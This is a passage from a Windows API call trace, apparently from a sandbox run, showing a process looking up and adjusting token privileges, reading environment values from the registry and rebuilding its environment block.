lpName="SeSystemEnvironmentPrivilege", lpLuid=0x7fef7b23a00 | out: lpLuid=0x7fef7b23a00*(LowPart=0x16, HighPart=0)) returned 1 [0068.419] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeChangeNotifyPrivilege", lpLuid=0x7fef7b23a0c | out: lpLuid=0x7fef7b23a0c*(LowPart=0x17, HighPart=0)) returned 1 [0068.420] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeRemoteShutdownPrivilege", lpLuid=0x7fef7b23a18 | out: lpLuid=0x7fef7b23a18*(LowPart=0x18, HighPart=0)) returned 1 [0068.420] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeUndockPrivilege", lpLuid=0x7fef7b23a24 | out: lpLuid=0x7fef7b23a24*(LowPart=0x19, HighPart=0)) returned 1 [0068.420] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeSyncAgentPrivilege", lpLuid=0x7fef7b23a30 | out: lpLuid=0x7fef7b23a30*(LowPart=0x1a, HighPart=0)) returned 1 [0068.421] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeEnableDelegationPrivilege", lpLuid=0x7fef7b23a3c | out: lpLuid=0x7fef7b23a3c*(LowPart=0x1b, HighPart=0)) returned 1 [0068.421] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeManageVolumePrivilege", lpLuid=0x7fef7b23a48 | out: lpLuid=0x7fef7b23a48*(LowPart=0x1c, HighPart=0)) returned 1 [0068.422] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeImpersonatePrivilege", lpLuid=0x7fef7b23a54 | out: lpLuid=0x7fef7b23a54*(LowPart=0x1d, HighPart=0)) returned 1 [0068.422] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeCreateGlobalPrivilege", lpLuid=0x7fef7b23a60 | out: lpLuid=0x7fef7b23a60*(LowPart=0x1e, HighPart=0)) returned 1 [0068.423] AdjustTokenPrivileges (in: TokenHandle=0x140, DisableAllPrivileges=0, NewState=0xdce0b0*(PrivilegesCount=0xf, Privileges=((Luid.LowPart=0x8, Luid.HighPart=0, Attributes=0x0), (Luid.LowPart=0x0, Luid.HighPart=0, Attributes=0xa), (Luid.LowPart=0x0, Luid.HighPart=11, Attributes=0x0), (Luid.LowPart=0xc, Luid.HighPart=0, Attributes=0x0), (Luid.LowPart=0x0, Luid.HighPart=0, Attributes=0xe), (Luid.LowPart=0x0, Luid.HighPart=15, Attributes=0x0), (Luid.LowPart=0x11, Luid.HighPart=0, Attributes=0x0), (Luid.LowPart=0x0, Luid.HighPart=0, Attributes=0x14), (Luid.LowPart=0x0, Luid.HighPart=22, Attributes=0x0), (Luid.LowPart=0x18, Luid.HighPart=0, Attributes=0x0), (Luid.LowPart=0x0, Luid.HighPart=0, Attributes=0x1c), (Luid.LowPart=0x0, Luid.HighPart=162234240, Attributes=0x0), (Luid.LowPart=0x0, Luid.HighPart=0, Attributes=0x0), (Luid.LowPart=0x0, Luid.HighPart=-26628544, Attributes=0x7fe), (Luid.LowPart=0x7fe, Luid.HighPart=-45197313, Attributes=0x7fe))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0068.423] CServerSecurity::RevertToSelf () returned 0x0 [0068.423] CServerSecurity::Release () returned 0x1 [0068.423] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0068.423] lstrlenW (lpString="RPCRT4") returned 6 [0068.423] GetSystemDirectoryW (in: lpBuffer=0xdcdfa0, uSize=0x105 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0068.423] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\RPCRT4.DLL") returned 0x7fefe680000 [0068.423] GetProcAddress (hModule=0x7fefe680000, lpProcName="I_RpcBindingInqLocalClientPID") returned 0x7fefe6a5e70 [0068.424] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x32a7c8 | out: Pid=0x32a7c8) returned 0x0 [0068.424] GetLocalTime (in: lpSystemTime=0xdce250 | out: lpSystemTime=0xdce250*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2e, wSecond=0x36, wMilliseconds=0x64)) [0068.424] SystemTimeToFileTime (in: lpSystemTime=0xdce250, lpFileTime=0xdce270 | out: lpFileTime=0xdce270) returned 1 [0068.424] lstrlenW (lpString="System\\CurrentControlSet\\Control\\Session Manager\\Environment") returned 60 [0068.424] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20119, phkResult=0x327218 | out: phkResult=0x327218*=0x144) returned 0x0 [0068.425] RegQueryInfoKeyW (in: hKey=0x144, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0xdcdfe0, lpcbMaxValueNameLen=0xdcdfe4, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0xdcdfe0*=0x11, lpcbMaxValueNameLen=0xdcdfe4, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.425] RegEnumValueW (in: hKey=0x144, dwIndex=0x0, lpValueName=0xdce000, lpcchValueName=0xdcdfe8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ComSpec", lpcchValueName=0xdcdfe8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0068.425] lstrlenW (lpString="ComSpec") returned 7 [0068.425] RegEnumValueW (in: hKey=0x144, dwIndex=0x1, lpValueName=0xdce000, lpcchValueName=0xdcdfe8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FP_NO_HOST_CHECK", lpcchValueName=0xdcdfe8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0068.425] lstrlenW (lpString="FP_NO_HOST_CHECK") returned 16 [0068.425] RegEnumValueW (in: hKey=0x144, dwIndex=0x2, lpValueName=0xdce000, lpcchValueName=0xdcdfe8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="OS", lpcchValueName=0xdcdfe8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0068.425] lstrlenW (lpString="OS") returned 2 [0068.425] RegEnumValueW (in: hKey=0x144, dwIndex=0x3, lpValueName=0xdce000, lpcchValueName=0xdcdfe8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Path", lpcchValueName=0xdcdfe8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0068.425] lstrlenW (lpString="Path") returned 4 [0068.425] RegEnumValueW (in: hKey=0x144, dwIndex=0x4, lpValueName=0xdce000, lpcchValueName=0xdcdfe8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PATHEXT", lpcchValueName=0xdcdfe8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0068.426] lstrlenW (lpString="PATHEXT") returned 7 [0068.426] RegEnumValueW (in: hKey=0x144, dwIndex=0x5, lpValueName=0xdce000, lpcchValueName=0xdcdfe8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PROCESSOR_ARCHITECTURE", lpcchValueName=0xdcdfe8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0068.426] lstrlenW (lpString="PROCESSOR_ARCHITECTURE") returned 22 [0068.426] RegEnumValueW (in: hKey=0x144, dwIndex=0x6, lpValueName=0xdce000, lpcchValueName=0xdcdfe8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="TEMP", lpcchValueName=0xdcdfe8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0068.426] lstrlenW (lpString="TEMP") returned 4 [0068.426] RegEnumValueW (in: hKey=0x144, dwIndex=0x7, lpValueName=0xdce000, lpcchValueName=0xdcdfe8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="TMP", lpcchValueName=0xdcdfe8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0068.426] lstrlenW (lpString="TMP") returned 3 [0068.426] RegEnumValueW (in: hKey=0x144, dwIndex=0x8, lpValueName=0xdce000, lpcchValueName=0xdcdfe8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="USERNAME", lpcchValueName=0xdcdfe8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0068.426] lstrlenW (lpString="USERNAME") returned 8 [0068.426] RegEnumValueW (in: hKey=0x144, dwIndex=0x9, lpValueName=0xdce000, lpcchValueName=0xdcdfe8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="windir", lpcchValueName=0xdcdfe8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0068.426] lstrlenW (lpString="windir") returned 6 [0068.426] RegEnumValueW (in: hKey=0x144, dwIndex=0xa, lpValueName=0xdce000, lpcchValueName=0xdcdfe8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PSModulePath", lpcchValueName=0xdcdfe8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0068.426] lstrlenW (lpString="PSModulePath") returned 12 [0068.426] RegEnumValueW (in: hKey=0x144, dwIndex=0xb, lpValueName=0xdce000, lpcchValueName=0xdcdfe8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="NUMBER_OF_PROCESSORS", lpcchValueName=0xdcdfe8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0068.426] lstrlenW (lpString="NUMBER_OF_PROCESSORS") returned 20 [0068.426] RegEnumValueW (in: hKey=0x144, dwIndex=0xc, lpValueName=0xdce000, lpcchValueName=0xdcdfe8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PROCESSOR_LEVEL", lpcchValueName=0xdcdfe8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0068.426] lstrlenW (lpString="PROCESSOR_LEVEL") returned 15 [0068.426] RegEnumValueW (in: hKey=0x144, dwIndex=0xd, lpValueName=0xdce000, lpcchValueName=0xdcdfe8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PROCESSOR_IDENTIFIER", lpcchValueName=0xdcdfe8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0068.427] lstrlenW (lpString="PROCESSOR_IDENTIFIER") returned 20 [0068.427] RegEnumValueW (in: hKey=0x144, dwIndex=0xe, lpValueName=0xdce000, lpcchValueName=0xdcdfe8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PROCESSOR_REVISION", lpcchValueName=0xdcdfe8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0068.427] lstrlenW (lpString="PROCESSOR_REVISION") returned 18 [0068.427] RegEnumValueW (in: hKey=0x144, dwIndex=0xf, lpValueName=0xdce000, lpcchValueName=0xdcdfe8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="windows_tracing_logfile", lpcchValueName=0xdcdfe8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0068.427] lstrlenW (lpString="windows_tracing_logfile") returned 23 [0068.427] RegEnumValueW (in: hKey=0x144, dwIndex=0x10, lpValueName=0xdce000, lpcchValueName=0xdcdfe8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="windows_tracing_flags", lpcchValueName=0xdcdfe8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0068.427] lstrlenW (lpString="windows_tracing_flags") returned 21 [0068.428] RegQueryValueExW (in: hKey=0x144, lpValueName="ComSpec", lpReserved=0x0, lpType=0xdce100, lpData=0xdce120, lpcbData=0xdce0c0*=0x100 | out: lpType=0xdce100*=0x2, lpData="%SystemRoot%\\system32\\cmd.exe", lpcbData=0xdce0c0*=0x3c) returned 0x0 [0068.428] lstrlenW (lpString="#") returned 1 [0068.428] lstrlenW (lpString="%") returned 1 [0068.428] memcpy (in: _Dst=0x32b010, _Src=0x32afe0, _Size=0x2 | out: _Dst=0x32b010) returned 0x32b010 [0068.428] lstrlenW (lpString="%SystemRoot%\\system32\\cmd.exe") returned 29 [0068.428] memcpy (in: _Dst=0x32abf0, _Src=0x32b010, _Size=0x4 | out: _Dst=0x32abf0) returned 0x32abf0 [0068.430] RegQueryValueExW (in: hKey=0x144, lpValueName="FP_NO_HOST_CHECK", lpReserved=0x0, lpType=0xdce100, lpData=0xdce120, lpcbData=0xdce0c0*=0x100 | out: lpType=0xdce100*=0x1, lpData="NO", lpcbData=0xdce0c0*=0x6) returned 0x0 [0068.430] lstrlenW (lpString="NO") returned 2 [0068.430] RegQueryValueExW (in: hKey=0x144, lpValueName="OS", lpReserved=0x0, lpType=0xdce100, lpData=0xdce120, lpcbData=0xdce0c0*=0x100 | out: lpType=0xdce100*=0x1, lpData="Windows_NT", lpcbData=0xdce0c0*=0x16) returned 0x0 [0068.430] lstrlenW (lpString="Windows_NT") returned 10 [0068.431] RegQueryValueExW (in: hKey=0x144, lpValueName="Path", lpReserved=0x0, lpType=0xdce100, lpData=0xdce120, lpcbData=0xdce0c0*=0x100 | out: lpType=0xdce100*=0x2, lpData=0xdce120*=0x0, lpcbData=0xdce0c0*=0x134) returned 0xea [0068.431] RegQueryValueExW (in: hKey=0x144, lpValueName="Path", lpReserved=0x0, lpType=0xdce100, lpData=0x32d5f0, lpcbData=0xdce070*=0x134 | out: lpType=0xdce100*=0x2, lpData="%SystemRoot%\\system32;%SystemRoot%;%SystemRoot%\\System32\\Wbem;%SYSTEMROOT%\\System32\\WindowsPowerShell\\v1.0\\;%systemroot%\\System32\\WindowsPowerShell\\v1.0\\", lpcbData=0xdce070*=0x134) returned 0x0 [0068.431] lstrlenW (lpString="#") returned 1 [0068.431] lstrlenW (lpString="%") returned 1 [0068.431] memcpy (in: _Dst=0x32afe0, _Src=0x32b010, _Size=0x2 | out: _Dst=0x32afe0) returned 0x32afe0 [0068.431] lstrlenW (lpString="%SystemRoot%\\system32;%SystemRoot%;%SystemRoot%\\System32\\Wbem;%SYSTEMROOT%\\System32\\WindowsPowerShell\\v1.0\\;%systemroot%\\System32\\WindowsPowerShell\\v1.0\\") returned 153 [0068.432] memcpy (in: _Dst=0x32d880, _Src=0x32afe0, _Size=0x4 | out: _Dst=0x32d880) returned 0x32d880 [0068.432] RegQueryValueExW (in: hKey=0x144, lpValueName="PATHEXT", lpReserved=0x0, lpType=0xdce100, lpData=0xdce120, lpcbData=0xdce0c0*=0x100 | out: lpType=0xdce100*=0x1, lpData=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", lpcbData=0xdce0c0*=0x6c) returned 0x0 [0068.432] lstrlenW (lpString=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 53 [0068.433] RegQueryValueExW (in: hKey=0x144, lpValueName="PROCESSOR_ARCHITECTURE", lpReserved=0x0, lpType=0xdce100, lpData=0xdce120, lpcbData=0xdce0c0*=0x100 | out: lpType=0xdce100*=0x1, lpData="AMD64", lpcbData=0xdce0c0*=0xc) returned 0x0 [0068.433] lstrlenW (lpString="AMD64") returned 5 [0068.433] RegQueryValueExW (in: hKey=0x144, lpValueName="TEMP", lpReserved=0x0, lpType=0xdce100, lpData=0xdce120, lpcbData=0xdce0c0*=0x100 | out: lpType=0xdce100*=0x2, lpData="%SystemRoot%\\TEMP", lpcbData=0xdce0c0*=0x24) returned 0x0 [0068.433] lstrlenW (lpString="#") returned 1 [0068.433] lstrlenW (lpString="%") returned 1 [0068.433] memcpy (in: _Dst=0x32b010, _Src=0x32afe0, _Size=0x2 | out: _Dst=0x32b010) returned 0x32b010 [0068.433] lstrlenW (lpString="%SystemRoot%\\TEMP") returned 17 [0068.433] memcpy (in: _Dst=0x2fa3b0, _Src=0x32b010, _Size=0x4 | out: _Dst=0x2fa3b0) returned 0x2fa3b0 [0068.434] RegQueryValueExW (in: hKey=0x144, lpValueName="TMP", lpReserved=0x0, lpType=0xdce100, lpData=0xdce120, lpcbData=0xdce0c0*=0x100 | out: lpType=0xdce100*=0x2, lpData="%SystemRoot%\\TEMP", lpcbData=0xdce0c0*=0x24) returned 0x0 [0068.434] lstrlenW (lpString="#") returned 1 [0068.434] lstrlenW (lpString="%") returned 1 [0068.434] memcpy (in: _Dst=0x32afe0, _Src=0x32b010, _Size=0x2 | out: _Dst=0x32afe0) returned 0x32afe0 [0068.434] lstrlenW (lpString="%SystemRoot%\\TEMP") returned 17 [0068.434] memcpy (in: _Dst=0x2fa3b0, _Src=0x32afe0, _Size=0x4 | out: _Dst=0x2fa3b0) returned 0x2fa3b0 [0068.434] RegQueryValueExW (in: hKey=0x144, lpValueName="USERNAME", lpReserved=0x0, lpType=0xdce100, lpData=0xdce120, lpcbData=0xdce0c0*=0x100 | out: lpType=0xdce100*=0x1, lpData="SYSTEM", lpcbData=0xdce0c0*=0xe) returned 0x0 [0068.434] lstrlenW (lpString="SYSTEM") returned 6 [0068.435] RegQueryValueExW (in: hKey=0x144, lpValueName="windir", lpReserved=0x0, lpType=0xdce100, lpData=0xdce120, lpcbData=0xdce0c0*=0x100 | out: lpType=0xdce100*=0x2, lpData="%SystemRoot%", lpcbData=0xdce0c0*=0x1a) returned 0x0 [0068.435] lstrlenW (lpString="#") returned 1 [0068.435] lstrlenW (lpString="%") returned 1 [0068.435] memcpy (in: _Dst=0x32b010, _Src=0x32afe0, _Size=0x2 | out: _Dst=0x32b010) returned 0x32b010 [0068.435] lstrlenW (lpString="%SystemRoot%") returned 12 [0068.435] memcpy (in: _Dst=0x31f160, _Src=0x32b010, _Size=0x4 | out: _Dst=0x31f160) returned 0x31f160 [0068.435] RegQueryValueExW (in: hKey=0x144, lpValueName="PSModulePath", lpReserved=0x0, lpType=0xdce100, lpData=0xdce120, lpcbData=0xdce0c0*=0x100 | out: lpType=0xdce100*=0x2, lpData="%ProgramFiles%\\WindowsPowerShell\\Modules;%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\Modules", lpcbData=0xdce0c0*=0xbc) returned 0x0 [0068.435] lstrlenW (lpString="#") returned 1 [0068.436] lstrlenW (lpString="%") returned 1 [0068.436] memcpy (in: _Dst=0x32afe0, _Src=0x32b010, _Size=0x2 | out: _Dst=0x32afe0) returned 0x32afe0 [0068.436] lstrlenW (lpString="%ProgramFiles%\\WindowsPowerShell\\Modules;%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\Modules") returned 93 [0068.436] memcpy (in: _Dst=0x32ad10, _Src=0x32afe0, _Size=0x4 | out: _Dst=0x32ad10) returned 0x32ad10 [0068.436] RegQueryValueExW (in: hKey=0x144, lpValueName="NUMBER_OF_PROCESSORS", lpReserved=0x0, lpType=0xdce100, lpData=0xdce120, lpcbData=0xdce0c0*=0x100 | out: lpType=0xdce100*=0x1, lpData="1", lpcbData=0xdce0c0*=0x4) returned 0x0 [0068.436] lstrlenW (lpString="1") returned 1 [0068.436] RegQueryValueExW (in: hKey=0x144, lpValueName="PROCESSOR_LEVEL", lpReserved=0x0, lpType=0xdce100, lpData=0xdce120, lpcbData=0xdce0c0*=0x100 | out: lpType=0xdce100*=0x1, lpData="6", lpcbData=0xdce0c0*=0x4) returned 0x0 [0068.436] lstrlenW (lpString="6") returned 1 [0068.436] RegQueryValueExW (in: hKey=0x144, lpValueName="PROCESSOR_IDENTIFIER", lpReserved=0x0, lpType=0xdce100, lpData=0xdce120, lpcbData=0xdce0c0*=0x100 | out: lpType=0xdce100*=0x1, lpData="Intel64 Family 6 Model 85 Stepping 4, GenuineIntel", lpcbData=0xdce0c0*=0x66) returned 0x0 [0068.436] lstrlenW (lpString="Intel64 Family 6 Model 85 Stepping 4, GenuineIntel") returned 50 [0068.437] RegQueryValueExW (in: hKey=0x144, lpValueName="PROCESSOR_REVISION", lpReserved=0x0, lpType=0xdce100, lpData=0xdce120, lpcbData=0xdce0c0*=0x100 | out: lpType=0xdce100*=0x1, lpData="5504", lpcbData=0xdce0c0*=0xa) returned 0x0 [0068.437] lstrlenW (lpString="5504") returned 4 [0068.437] RegQueryValueExW (in: hKey=0x144, lpValueName="windows_tracing_logfile", lpReserved=0x0, lpType=0xdce100, lpData=0xdce120, lpcbData=0xdce0c0*=0x100 | out: lpType=0xdce100*=0x1, lpData="C:\\BVTBin\\Tests\\installpackage\\csilogfile.log", lpcbData=0xdce0c0*=0x5c) returned 0x0 [0068.437] lstrlenW (lpString="C:\\BVTBin\\Tests\\installpackage\\csilogfile.log") returned 45 [0068.437] RegQueryValueExW (in: hKey=0x144, lpValueName="windows_tracing_flags", lpReserved=0x0, lpType=0xdce100, lpData=0xdce120, lpcbData=0xdce0c0*=0x100 | out: lpType=0xdce100*=0x1, lpData="3", lpcbData=0xdce0c0*=0x4) returned 0x0 [0068.437] lstrlenW (lpString="3") returned 1 [0068.437] lstrlenW (lpString="Environment") returned 11 [0068.437] RegCloseKey (hKey=0x144) returned 0x0 [0068.441] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Environment", ulOptions=0x0, samDesired=0x20119, phkResult=0x32abf8 | out: phkResult=0x32abf8*=0x148) returned 0x0 [0068.442] RegQueryInfoKeyW (in: hKey=0x148, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0xdcdfe0, lpcbMaxValueNameLen=0xdcdfe4, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0xdcdfe0*=0x2, lpcbMaxValueNameLen=0xdcdfe4, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.442] RegEnumValueW (in: hKey=0x148, dwIndex=0x0, lpValueName=0xdce000, lpcchValueName=0xdcdfe8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="TEMP", lpcchValueName=0xdcdfe8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0068.442] lstrlenW (lpString="TEMP") returned 4 [0068.442] RegEnumValueW (in: hKey=0x148, dwIndex=0x1, lpValueName=0xdce000, lpcchValueName=0xdcdfe8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="TMP", lpcchValueName=0xdcdfe8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0068.442] lstrlenW (lpString="TMP") returned 3 [0068.442] RegQueryValueExW (in: hKey=0x148, lpValueName="TEMP", lpReserved=0x0, lpType=0xdce100, lpData=0xdce120, lpcbData=0xdce0c0*=0x100 | out: lpType=0xdce100*=0x2, lpData="%USERPROFILE%\\AppData\\Local\\Temp", lpcbData=0xdce0c0*=0x42) returned 0x0 [0068.442] lstrlenW (lpString="#") returned 1 [0068.442] lstrlenW (lpString="%") returned 1 [0068.442] memcpy (in: _Dst=0x32af20, _Src=0x32aef0, _Size=0x2 | out: _Dst=0x32af20) returned 0x32af20 [0068.442] lstrlenW (lpString="%USERPROFILE%\\AppData\\Local\\Temp") returned 32 [0068.443] memcpy (in: _Dst=0x32f630, _Src=0x32af20, _Size=0x4 | out: _Dst=0x32f630) returned 0x32f630 [0068.443] RegQueryValueExW (in: hKey=0x148, lpValueName="TMP", lpReserved=0x0, lpType=0xdce100, lpData=0xdce120, lpcbData=0xdce0c0*=0x100 | out: lpType=0xdce100*=0x2, lpData="%USERPROFILE%\\AppData\\Local\\Temp", lpcbData=0xdce0c0*=0x42) returned 0x0 [0068.443] lstrlenW (lpString="#") returned 1 [0068.443] lstrlenW (lpString="%") returned 1 [0068.443] memcpy (in: _Dst=0x32aef0, _Src=0x32af20, _Size=0x2 | out: _Dst=0x32aef0) returned 0x32aef0 [0068.443] lstrlenW (lpString="%USERPROFILE%\\AppData\\Local\\Temp") returned 32 [0068.443] memcpy (in: _Dst=0x32f630, _Src=0x32aef0, _Size=0x4 | out: _Dst=0x32f630) returned 0x32f630 [0068.447] RegCloseKey (hKey=0x148) returned 0x0 [0068.448] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0068.448] lstrlenW (lpString="USERENV") returned 7 [0068.448] GetSystemDirectoryW (in: lpBuffer=0xdce020, uSize=0x105 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0068.448] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\USERENV.DLL") returned 0x7fefc010000 [0068.454] GetProcAddress (hModule=0x7fefc010000, lpProcName="CreateEnvironmentBlock") returned 0x7fefc0110b0 [0068.454] CreateEnvironmentBlock () returned 0x1 [0068.457] GetEnvironmentStringsW () returned 0x3307f0* [0068.457] memcpy (in: _Dst=0x331270, _Src=0x3307f0, _Size=0xa6e | out: _Dst=0x331270) returned 0x331270 [0068.458] SetEnvironmentVariableW (lpName="ALLUSERSPROFILE", lpValue=0x0) returned 1 [0068.458] SetEnvironmentVariableW (lpName="APPDATA", lpValue=0x0) returned 1 [0068.458] SetEnvironmentVariableW (lpName="CommonProgramFiles", lpValue=0x0) returned 1 [0068.458] SetEnvironmentVariableW (lpName="CommonProgramFiles(x86)", lpValue=0x0) returned 1 [0068.458] SetEnvironmentVariableW (lpName="CommonProgramW6432", lpValue=0x0) returned 1 [0068.458] SetEnvironmentVariableW (lpName="COMPUTERNAME", lpValue=0x0) returned 1 [0068.458] SetEnvironmentVariableW (lpName="ComSpec", lpValue=0x0) returned 1 [0068.458] SetEnvironmentVariableW (lpName="FP_NO_HOST_CHECK", lpValue=0x0) returned 1 [0068.458] SetEnvironmentVariableW (lpName="LOCALAPPDATA", lpValue=0x0) returned 1 [0068.458] SetEnvironmentVariableW (lpName="NUMBER_OF_PROCESSORS", lpValue=0x0) returned 1 [0068.458] SetEnvironmentVariableW (lpName="OS", lpValue=0x0) returned 1 [0068.458] SetEnvironmentVariableW (lpName="Path", lpValue=0x0) returned 1 [0068.458] SetEnvironmentVariableW (lpName="PATHEXT", lpValue=0x0) returned 1 [0068.458] SetEnvironmentVariableW (lpName="PROCESSOR_ARCHITECTURE", lpValue=0x0) returned 1 [0068.458] SetEnvironmentVariableW (lpName="PROCESSOR_IDENTIFIER", lpValue=0x0) returned 1 [0068.458] SetEnvironmentVariableW (lpName="PROCESSOR_LEVEL", lpValue=0x0) returned 1 [0068.458] SetEnvironmentVariableW (lpName="PROCESSOR_REVISION", lpValue=0x0) returned 1 [0068.458] SetEnvironmentVariableW (lpName="ProgramData", lpValue=0x0) returned 1 [0068.458] SetEnvironmentVariableW (lpName="ProgramFiles", lpValue=0x0) returned 1 [0068.458] SetEnvironmentVariableW (lpName="ProgramFiles(x86)", lpValue=0x0) returned 1 [0068.458] SetEnvironmentVariableW (lpName="ProgramW6432", lpValue=0x0) returned 1 [0068.458] SetEnvironmentVariableW (lpName="PSModulePath", lpValue=0x0) returned 1 [0068.458] SetEnvironmentVariableW (lpName="PUBLIC", lpValue=0x0) returned 1 [0068.458] SetEnvironmentVariableW (lpName="SystemDrive", lpValue=0x0) returned 1 [0068.458] SetEnvironmentVariableW (lpName="SystemRoot", lpValue=0x0) returned 1 [0068.458] SetEnvironmentVariableW (lpName="TEMP", lpValue=0x0) returned 1 [0068.458] SetEnvironmentVariableW (lpName="TMP", lpValue=0x0) returned 1 [0068.459] SetEnvironmentVariableW (lpName="USERDOMAIN", lpValue=0x0) returned 1 [0068.459] SetEnvironmentVariableW (lpName="USERNAME", lpValue=0x0) returned 1 [0068.459] SetEnvironmentVariableW (lpName="USERPROFILE", lpValue=0x0) returned 1 [0068.459] SetEnvironmentVariableW (lpName="windir", lpValue=0x0) returned 1 [0068.459] SetEnvironmentVariableW (lpName="windows_tracing_flags", lpValue=0x0) returned 1 [0068.459] SetEnvironmentVariableW (lpName="windows_tracing_logfile", lpValue=0x0) returned 1 [0068.459] FreeEnvironmentStringsW (penv=0x3307f0) returned 1 [0068.459] SetEnvironmentVariableW (lpName="ALLUSERSPROFILE", lpValue="C:\\ProgramData") returned 1 [0068.459] SetEnvironmentVariableW (lpName="CommonProgramFiles", lpValue="C:\\Program Files\\Common Files") returned 1 [0068.459] SetEnvironmentVariableW (lpName="CommonProgramFiles(x86)", lpValue="C:\\Program Files (x86)\\Common Files") returned 1 [0068.459] SetEnvironmentVariableW (lpName="CommonProgramW6432", lpValue="C:\\Program Files\\Common Files") returned 1 [0068.459] SetEnvironmentVariableW (lpName="COMPUTERNAME", lpValue="Q9IATRKPRH") returned 1 [0068.459] SetEnvironmentVariableW (lpName="ComSpec", lpValue="C:\\Windows\\system32\\cmd.exe") returned 1 [0068.459] SetEnvironmentVariableW (lpName="FP_NO_HOST_CHECK", lpValue="NO") returned 1 [0068.460] SetEnvironmentVariableW (lpName="NUMBER_OF_PROCESSORS", lpValue="1") returned 1 [0068.460] SetEnvironmentVariableW (lpName="OS", lpValue="Windows_NT") returned 1 [0068.460] 